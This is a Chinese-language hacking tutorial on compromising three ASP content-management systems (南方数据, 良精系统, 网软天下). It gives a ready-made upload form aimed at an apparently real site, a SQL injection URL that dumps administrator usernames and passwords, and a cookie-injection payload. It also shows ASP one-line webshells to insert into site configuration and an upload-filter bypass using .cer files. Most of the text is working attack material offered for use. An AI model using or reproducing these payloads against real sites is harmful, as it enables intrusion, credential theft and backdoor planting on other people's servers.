南方数据、良精系统、网软天下通杀漏洞

1、通过upfile_other.asp漏洞文件直接取SHELL

直接打开userreg.asp进行注册会员，进行登录，（在未退出登录的状态下）使用本地上传文件进行上传代码如下：

<HTML><HEAD>    
<META http-equiv=Content-Type content="text/html; charset=gb2312">    
<STYLE type=text/css>
body { font-size: 9px; background-color: #e1f4ee;}    
.tx1 { border: #000000 1px solid; font-size: 9px; height: 20px;}    
</STYLE>  
<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>    
<BODY leftMargin=0 topMargin=0>    
<FORM name=form1 action="http://www.huobaodidai.cn/upfile_Other.asp"; method=post    
encType=multipart/form-data>
<INPUT class=tx1 type=file size=30 name=FileName> 
<INPUT class=tx1 type=file size=30 name=FileName1>
<INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit>    
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> 
</FORM>
</BODY>
</HTML>

将以上代码保存为html格式，替换代码中的网址，第一个框里选择图片文件，第二个框选择.cer、.asa或asp文件上传（后面需要加一个空格，貌似在IE8中进行使用不能后面加空格，加空格时就弹出选择文件对话框，我是找不到解决办法）。

注：此方法通杀南方数据、良精系统、网软天下等

2、通过注入秒杀管理员帐号密码，使用如下：

http://www.xxx.com/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''='

以上代码直接暴管理员帐号和密码，取SHELL方法如下：

在网站配置的http://www.xxx.com/admin/SiteConfig.asp版权信息里写入

"%><%eval(request(chr(35)))%><%'

成功把shell写入http://www.target.com/inc/config.asp

这里一句话chr(32)密码是#

（注：经自己测试，良精系统需要去掉外面引号，否则会报错）

3、cookie注入

清空地址栏，利用union语句来注入，提交：

javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin"))

如果你牛你就手工，反正我是不会，用刺猬大哥的“cookie注入转换工具”方便又迅速何乐而不为？

注：貌似南方数据、良精系统、网软天下等系统也都存在COOKIE注入。

（当然南方不只有上面三个漏洞，还有几个漏洞貌似不常用，反正我给我常用的总结出来希望对大家有帮助）

r后台getshell方法总结

（1）在系统管理中的网站配置中插入一句话马：进入后台后,点左边的“系统管理”，再点击“网站配置”，在右边的“网站名称”(也可以在其它处)后加入

"%><%Eval(Request(chr(112)))%><%'

再点保存配置，如图：

(注:以下均在其它网站上测试所截的图，为防止信息泄漏，未截留网站连接，请谅解！)

（2）后台上传漏洞,在Upfile_Photo.asp文件中部分代码片段如下：

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then   
                   EnableUpload=false   
              end if   
              if EnableUpload=false then   
                     msg="这种文件类型不允许上传！\n\n只允许上传这几种文件类型：" & UpFileType   
                     FoundErr=true   
              end if

大家可以看到程序只限制了对asp、asa、aspx类型的文件上传，我们只要在”网站配置”的允许的上传文件类型处增加上传“cer”等被服务器可解析的文件类型就可，如图：